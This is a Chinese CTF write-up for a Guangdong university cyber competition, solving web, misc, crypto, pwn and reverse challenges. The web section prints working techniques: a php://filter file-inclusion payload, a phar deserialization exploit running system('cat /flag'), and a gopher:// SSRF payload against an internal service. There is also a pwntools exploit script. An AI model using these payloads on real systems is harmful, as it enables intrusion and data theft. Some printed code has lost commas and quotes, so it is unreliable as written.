第三届广东省大学生网络攻防竞赛WriteUp

WriteUp 6个月前 admin
154 0 0

WEB

消失的flag

题目描述:

flag就隐藏再某个文件里面,看看能不能包含出来 。

加个XFF,构造文件包含读取flag

/?file=php://filter/convert.iconv.UTF-8.UCS-2/resource=/flag

第三届广东省大学生网络攻防竞赛WriteUp

unserialize_web

题目描述:

同事给我了一个反序列话的源码,在线求助 !

题目给了一个文件上传的功能点

进行目录扫描,可以发现一个www.tar.gz的备份文件,代码审计分析

第三届广东省大学生网络攻防竞赛WriteUp

构造payload生成一个exp.phar

<?php
//spring
class File {
    public $val1;
    public $val2;
    public $val3;
    public function __construct(){
        $this->val1 = 'file';
        $this->val2 = 'exists';
        $this->val3 = "system('cat /flag');";
    }
}

$a = new File();
$phar = new Phar('exp.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($a);
$phar->addFromString('test.txt''test');
$phar->stopBuffering();

弄好后,写一个脚本进行改签名上传上去进行phar文件包含即可,原题改的

import gzip
import hashlib
with open("exp.phar",'rb'as f:
    f = f.read()
s = f[:-28]
s = s.replace(b'3:{'b'4:{')
h = f[-8:]
newf = s + hashlib.sha1(s).digest() + h
print(newf)
newf = gzip.compress(newf)
with open('res.png','wb'as f2:
    f2.write(newf)
第三届广东省大学生网络攻防竞赛WriteUp

构造数据包成功读取flag

第三届广东省大学生网络攻防竞赛WriteUp


cac913f741c74cffbdfbcc3c76673631

mypdf

首先注册一个账号,构造数据包如下

需要满足invite置为-3.3e99999999999999即可绕过,这里绕过的原理是两种json格式导致请求错误从而绕过,成功注册了用户

第三届广东省大学生网络攻防竞赛WriteUp


进行登录后台

第三届广东省大学生网络攻防竞赛WriteUp


在title插入如下poc,这里题目不出网,注意Content-Type值需要对应修改,这里长度为18

第三届广东省大学生网络攻防竞赛WriteUp


<linktype="text/css"href="gopher://127.0.0.1:8082/_POST%20%2Fusers%20HTTP%2F1.1%0AHost%3A%20localhost%0AContent-Length%3A%2018%0AContent-type%3A%20application%2Fjson%0A%0A%7B%22user%22%3A%22test456%22%7D">

点击功能点进行下载.

第三届广东省大学生网络攻防竞赛WriteUp


注意这里要用wps软件打开,抓包需要保留cookie。

第三届广东省大学生网络攻防竞赛WriteUp


修改action访问admin触发,这时已经通过gopher协议打ssrf成功访问内网/users接口,读取flag

第三届广东省大学生网络攻防竞赛WriteUp


50e4f69c8d24499a9dc070a22e8086fc

参考:https://r0.haxors.org/posts?id=15

MISC

猜一猜

第三届广东省大学生网络攻防竞赛WriteUp


下载一个压缩包要密码,密码为压缩包名字md5解密值

第三届广东省大学生网络攻防竞赛WriteUp


解密得到一个打不开的图片,winhex打开发现图片头需要修复

第三届广东省大学生网络攻防竞赛WriteUp


改好打开是一个二维码,扫描为花朵解密得到flag

第三届广东省大学生网络攻防竞赛WriteUp

第三届广东省大学生网络攻防竞赛WriteUp


你要的就在这


第三届广东省大学生网络攻防竞赛WriteUp


打开一张图片,公式计算为Π

下面这个6看的不明所以

图片尾提示 stegpy

第三届广东省大学生网络攻防竞赛WriteUp


解密时发现是脑洞,为取 Π的 六位数字即 3.1415

第三届广东省大学生网络攻防竞赛WriteUp


然后k:luckyone  是key

前面进行进制转换

第三届广东省大学生网络攻防竞赛WriteUp


然后 des CBC解密得到 flag,因为幸运 1 所以vi用 1,然后就是猜单词,看得出为 believe

第三届广东省大学生网络攻防竞赛WriteUp


Flag{believe_you_are_lucky}

CRYPTO

encipher

给了私钥,直接解RSA,然后异或即可。

from Crypto.Util.number import *
from Crypto.Util.strxor import strxor

c = 67254133265602132458415338912590207677514059205474875492945840960242620760650527587490927820914970400738307536068560894182603885331513473363314148815933001614692570010664750071300871546575845539616570277302220914885734071483970427419582877989670767595897758329863040523037547687185382294469780732905652150451
d = 4885628697024674802233453512637565599092248491488767824821990279922756927662223348312748794983451796542248787267207054348962258716585568185354414099671493917947012747791554070655258925730967322717771647407982984792632771150018212620323323635510053326184087327891569331050475507897640403090397521797022070233
n = 89714050971394259600440975863751229102748301873549839432714703551498380713981264101533375672970154214062583012365073892089644031804109941766201243163398926438698369735588338279544152140859123834763870759757751944228350552806429642516747541162527058800402619575257179607422628877017180197777983487523142664487


msg = "This is a secret message"
msg = msg.encode()
msg_length = len(msg)
key = b'Life is like an ocean only strong-minded can reach the other shore'
key = key[:msg_length]

xor_m = pow(c,d,n)
print(strxor(long_to_bytes(xor_m), key))

# flag{1s_Pa33w0rd_1y2u22}

PWN

pwn_server

代码审计

第三届广东省大学生网络攻防竞赛WriteUp


这里会把我们输入的进行异或操作

第三届广东省大学生网络攻防竞赛WriteUp


这个就是漏洞所在 这里是用-1进行起算的

思路

我们通过输入ascii码为0x30的字符(就是0),然后进行操作,绕过限制,然后在这里会进行复制的操作

第三届广东省大学生网络攻防竞赛WriteUp


然后会把我们最上面的s的flag值,覆盖到file变量上


exp

from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
# libc = ELF("./libc-so.6")
"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    global p,elf 
    p = process(name)
    #p = remote("")
    elf = ELF(name)
# get_p("./server")
# sh = remote("127.0.0.1",10888)
sh = remote("fb7e5e8b-3884-e761-f3bf-9d413da0489a11cf.tq.jxsec.cn",30638)
# gdb.attach(p,"b *0x000400D6B")
# sleep(2)
    
sh.send("0:0x00")
sh.interactive()

# p.interactive()

RE

ctf-2

无壳,代码都在main函数。可以看到校验分成两轮。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // ecx
  int v4; // eax
  int v5; // ecx
  int v6; // esi
  _BYTE *v7; // edx
  unsigned int v8; // ecx
  unsigned int v9; // ecx
  unsigned int v10; // ecx
  int v11; // eax
  int v12; // ecx
  int v13; // eax
  int v14; // ecx
  int i; // esi
  unsigned int v16; // ecx
  unsigned int j; // edx
  unsigned int v18; // ecx
  unsigned int v19; // ecx
  unsigned int v20; // ecx
  char v21; // al
  unsigned int v23; // [esp+Ch] [ebp-34h] BYREF
  __int128 v24; // [esp+10h] [ebp-30h]
  unsigned int v25; // [esp+20h] [ebp-20h]
  int v26; // [esp+34h] [ebp-Ch] BYREF
  char v27; // [esp+38h] [ebp-8h]

  v26 = 0;
  v27 = 0;
  v4 = sub_2F2550(v3);
  sub_2F2830(v4);
  do
  {
    v6 = 0;                                     // 轮数
    do
    {
      sub_2F2550(v5);
      v23 = 0;
      sub_2F28D0(&v23);                         // 获取输入
      v7 = (char *)&v26 + v6++;                 // 轮数和前一次的结果合并
      v5 = 8 * (((unsigned __int8)(1 - (_DWORD)&v26) + (_BYTE)v7) & 3);// 第一次是0;第二次是0x10;第三次0x18
      v23 = (unsigned __int8)(v23 >> v5);
      *v7 = byte_320DE0[v23];
    }
    while ( v6 < 5 );
    v8 = dword_320EE0[(unsigned __int8)(~LOBYTE(dword_320EE0[(unsigned __int8)~(_BYTE)v26]) ^ BYTE1(v26))] ^ ((dword_320EE0[(unsigned __int8)~(_BYTE)v26] ^ 0xFFFFFFu) >> 8);
    v9 = dword_320EE0[(unsigned __int8)(v8 ^ BYTE2(v26))] ^ (v8 >> 8);
    v10 = dword_320EE0[(unsigned __int8)(v9 ^ HIBYTE(v26))] ^ (v9 >> 8);
    v5 = ~(dword_320EE0[(unsigned __int8)(v10 ^ v27)] ^ (v10 >> 8));
  }
  while ( v5 != 0x27949C6C );
  v11 = sub_2F2550(0x27949C6C);
  sub_2F2830(v11);
  v25 = 0;
  v24 = 0i64;
  v13 = sub_2F2550(v12);
  sub_2F2830(v13);
  for ( i = 0; i < 5; ++i )
  {
    sub_2F2550(v14);
    v23 = 0;
    sub_2F28D0(&v23);
    *((_DWORD *)&v24 + i) = v23;
  }
  if ( (unsigned int)v24 <= 0xF )
    byte_324AD8[v24] = v26;
  if ( DWORD1(v24) <= 0xF )
    byte_324AD8[DWORD1(v24)] = BYTE1(v26);
  if ( DWORD2(v24) <= 0xF )
    byte_324AD8[DWORD2(v24)] = BYTE2(v26);
  if ( HIDWORD(v24) <= 0xF )
    byte_324AD8[HIDWORD(v24)] = HIBYTE(v26);
  if ( v25 <= 0xF )
    byte_324AD8[v25] = v27;
  v16 = -1;
  for ( j = 0; j < 0x10; j += 4 )
  {
    v18 = dword_320EE0[(unsigned __int8)(v16 ^ byte_324AD8[j])] ^ (v16 >> 8);
    v19 = dword_320EE0[(unsigned __int8)(v18 ^ byte_324AD9[j])] ^ (v18 >> 8);
    v20 = dword_320EE0[(unsigned __int8)(v19 ^ byte_324ADA[j])] ^ (v19 >> 8);
    v21 = byte_324ADB[j];
    v16 = dword_320EE0[(unsigned __int8)(v20 ^ v21)] ^ (v20 >> 8);
  }
  if ( ~v16 == 0x7F5E79B7 )
  {
    sub_2F1170("you win: please the key decrypt flag.rn");
    sub_2F1170("flag:uQBF11zD6uYP9kJhRhL8OeesPaaZQQvbl3wx7Ik0T6g=. alg=AESrn");
  }
  return 0;
}

Round1

接收5次用户输入,通过如下代码进行位置映射。

do
    {
      sub_2F2550(v5);
      v23 = 0;
      sub_2F28D0(&v23);                         // 获取输入
      v7 = (char *)&v26 + v6++;                 // 轮数和前一次的结果合并
      v5 = 8 * (((unsigned __int8)(1 - (_DWORD)&v26) + (_BYTE)v7) & 3);// 第一次是0;第二次是0x10;第三次0x18
      v23 = (unsigned __int8)(v23 >> v5);
      *v7 = byte_320DE0[v23];
    }
while ( v6 < 5 );

映射后的五个字符进行CRC32加密,并且只有前五个输入校验后结果=0x27949C6C程序才会往下运行。

    v8 = dword_320EE0[(unsigned __int8)(~LOBYTE(dword_320EE0[(unsigned __int8)~(_BYTE)v26]) ^ BYTE1(v26))] ^ ((dword_320EE0[(unsigned __int8)~(_BYTE)v26] ^ 0xFFFFFFu) >> 8);
    v9 = dword_320EE0[(unsigned __int8)(v8 ^ BYTE2(v26))] ^ (v8 >> 8);
    v10 = dword_320EE0[(unsigned __int8)(v9 ^ HIBYTE(v26))] ^ (v9 >> 8);
    v5 = ~(dword_320EE0[(unsigned __int8)(v10 ^ v27)] ^ (v10 >> 8));
while ( v5 != 0x27949C6C );

直接写脚本进行爆破

int mainvoid )
{
 unsigned v8, v9, v10, v5;
 for ( int i = 0; i < 256; i++ )
 {
  for ( int j = 0; j < 256; j++ )
  {
   for ( int k = 0; k < 256; k++ )
   {
    for ( int l = 0; l < 256; l++ )
    {
     for ( int m = 0; m < 256; m++ )
     {
      /* i = 0x57, j = 0x65, k = 0xa6, l = 0x3d, m = 0xe5; */
      v8 = crc32_table[(unsigned char)(~((unsigned char)crc32_table[(unsigned char)~i]) ^ j)] ^ ((crc32_table[(unsigned char)~i] ^ 0xFFFFFF) >> 8);
      v9 = crc32_table[(unsigned char)(v8 ^ k)] ^ (v8 >> 8);
      v10 = crc32_table[(unsigned char)(v9 ^ l)] ^ (v9 >> 8);
      v5 = ~(crc32_table[(unsigned char)(v10 ^ m)] ^ (v10 >> 8));
      // printf("%xn", v5);
      if ( v5 == 0x27949C6C )
      {
       printf"%d %d %d %d %dn", i, j, k, l, m );
       unsigned char x[] = { i, j, k, l, m };
       // start_rand2( x );
      }
     }
    }
   }
  }
 }
    return(0);
}

第三届广东省大学生网络攻防竞赛WriteUp


Round2

依旧是直接爆破,检测代码如下:

第三届广东省大学生网络攻防竞赛WriteUp


爆破脚本,和结果

#include <stdio.h>

const unsigned long crc32_table[258]={
     0x000000000x770730960xEE0E612C0x990951BA0x076DC4190x706AF48F0xE963A5350x9E6495A30x0EDB88320x79DCB8A40xE0D5E91E0x97D2D9880x09B64C2B0x7EB17CBD0xE7B82D070x90BF1D910x1DB710640x6AB020F20xF3B971480x84BE41DE0x1ADAD47D0x6DDDE4EB0xF4D4B5510x83D385C70x136C98560x646BA8C00xFD62F97A0x8A65C9EC0x14015C4F0x63066CD90xFA0F3D630x8D080DF50x3B6E20C80x4C69105E0xD56041E40xA26771720x3C03E4D10x4B04D4470xD20D85FD0xA50AB56B0x35B5A8FA0x42B2986C0xDBBBC9D60xACBCF9400x32D86CE30x45DF5C750xDCD60DCF0xABD13D590x26D930AC0x51DE003A0xC8D751800xBFD061160x21B4F4B50x56B3C4230xCFBA95990xB8BDA50F0x2802B89E0x5F0588080xC60CD9B20xB10BE9240x2F6F7C870x58684C110xC1611DAB0xB6662D3D0x76DC41900x01DB71060x98D220BC0xEFD5102A0x71B185890x06B6B51F0x9FBFE4A50xE8B8D4330x7807C9A20x0F00F9340x9609A88E0xE10E98180x7F6A0DBB0x086D3D2D0x91646C970xE6635C010x6B6B51F40x1C6C61620x856530D80xF262004E0x6C0695ED0x1B01A57B0x8208F4C10xF50FC4570x65B0D9C60x12B7E9500x8BBEB8EA0xFCB9887C0x62DD1DDF0x15DA2D490x8CD37CF30xFBD44C650x4DB261580x3AB551CE0xA3BC00740xD4BB30E20x4ADFA5410x3DD895D70xA4D1C46D0xD3D6F4FB0x4369E96A0x346ED9FC0xAD6788460xDA60B8D00x44042D730x33031DE50xAA0A4C5F0xDD0D7CC90x5005713C0x270241AA0xBE0B10100xC90C20860x5768B5250x206F85B30xB966D4090xCE61E49F0x5EDEF90E0x29D9C9980xB0D098220xC7D7A8B40x59B33D170x2EB40D810xB7BD5C3B0xC0BA6CAD,
                0xEDB883200x9ABFB3B60x03B6E20C0x74B1D29A0xEAD547390x9DD277AF0x04DB26150x73DC16830xE3630B120x94643B840x0D6D6A3E0x7A6A5AA80xE40ECF0B0x9309FF9D0x0A00AE270x7D079EB10xF00F93440x8708A3D20x1E01F2680x6906C2FE0xF762575D0x806567CB0x196C36710x6E6B06E70xFED41B760x89D32BE00x10DA7A5A0x67DD4ACC0xF9B9DF6F0x8EBEEFF90x17B7BE430x60B08ED50xD6D6A3E80xA1D1937E0x38D8C2C40x4FDFF2520xD1BB67F10xA6BC57670x3FB506DD0x48B2364B0xD80D2BDA0xAF0A1B4C0x36034AF60x41047A600xDF60EFC30xA867DF550x316E8EEF0x4669BE790xCB61B38C0xBC66831A0x256FD2A00x5268E2360xCC0C77950xBB0B47030x220216B90x5505262F0xC5BA3BBE0xB2BD0B280x2BB45A920x5CB36A040xC2D7FFA70xB5D0CF310x2CD99E8B0x5BDEAE1D0x9B64C2B00xEC63F2260x756AA39C0x026D930A0x9C0906A90xEB0E363F0x720767850x050057130x95BF4A820xE2B87A140x7BB12BAE0x0CB61B380x92D28E9B0xE5D5BE0D0x7CDCEFB70x0BDBDF210x86D3D2D40xF1D4E2420x68DDB3F80x1FDA836E0x81BE16CD0xF6B9265B0x6FB077E10x18B747770x88085AE60xFF0F6A700x66063BCA0x11010B5C0x8F659EFF0xF862AE690x616BFFD30x166CCF450xA00AE2780xD70DD2EE0x4E0483540x3903B3C20xA76726610xD06016F70x4969474D0x3E6E77DB0xAED16A4A0xD9D65ADC0x40DF0B660x37D83BF00xA9BCAE530xDEBB9EC50x47B2CF7F0x30B5FFE90xBDBDF21C0xCABAC28A0x53B393300x24B4A3A60xBAD036050xCDD706930x54DE57290x23D967BF0xB3667A2E0xC4614AB80x5D681B020x2A6F2B940xB40BBE370xC30C8EA10x5A05DF1B0x2D02EF8D0x7F5E79B70x00000000
};



void start_rand2unsigned char x[] )
{
 unsigned int v18, v19, v20, v16;
 for ( int i = 0; i < 16; i++ )
 {
  for ( int j = 0; j < 16; j++ )
  {
   for ( int k = 0; k < 16; k++ )
   {
    for ( int l = 0; l < 16; l++ )
    {
     for ( int m = 0; m < 16; m++ )
     {
      unsigned char key[] = { 0x1B0xB10xFF0xFD0x190xFF0x890x8C0x090xFF0xFF0xD70x4A0xB30xFF0xEB };
      key[i] = x[0];
      key[j] = x[1];
      key[k] = x[2];
      key[l] = x[3];
      key[m] = x[4];
      v16 = 0xffffffff;
      for ( int cnt = 0; cnt < 0x10; cnt += 4 )
      {
       v18 = crc32_table[(unsigned char) (v16 ^ key[cnt])] ^ (v16>> 8);
       v19 = crc32_table[(unsigned char) (v18 ^ key[cnt + 1])] ^ (v18 >> 8);
       v20 = crc32_table[(unsigned char) (v19 ^ key[cnt + 2])] ^ (v19 >> 8);
       v16 = crc32_table[(unsigned char) (v20 ^ key[cnt + 3])] ^ (v20 >> 8);
      }
      if ( ~v16 == 0x7F5E79B7 )
      {
       printf"found: %d %d %d %d %dn", i, j, k, l, m );
      }
     }
    }
   }
  }
 }
}



int mainvoid )
{
 unsigned char x[] = { 237247252137206 };
 start_rand2(x);
 return(0);
}

第三届广东省大学生网络攻防竞赛WriteUp


Get Key

根据最后的提示,我们可以得到key。密钥是16字节,这正好对应第二轮的crc32明文byte_A44AD8

key = [0x1B0xB10xFF0xFD0x190xFF0x890x8C0x090xFF0xFF0xD70x4A0xB30xFF0xEB]
index = [2910145]
data = [237247252137206]

for i in range(5):
    key[index[i]] = data[i]

for i in range(16):
    print(format(key[i], '02x'), end='')

# 1bb1edfd19ce898c09f7fcd74ab389eb

Get Flag

第三届广东省大学生网络攻防竞赛WriteUp


flag:&n&8qoqdeeuysq7U


原文始发于微信公众号(ACT Team):第三届广东省大学生网络攻防竞赛WriteUp

版权声明:admin 发表于 2024年5月13日 下午12:04。
转载请注明:第三届广东省大学生网络攻防竞赛WriteUp | CTF导航

相关文章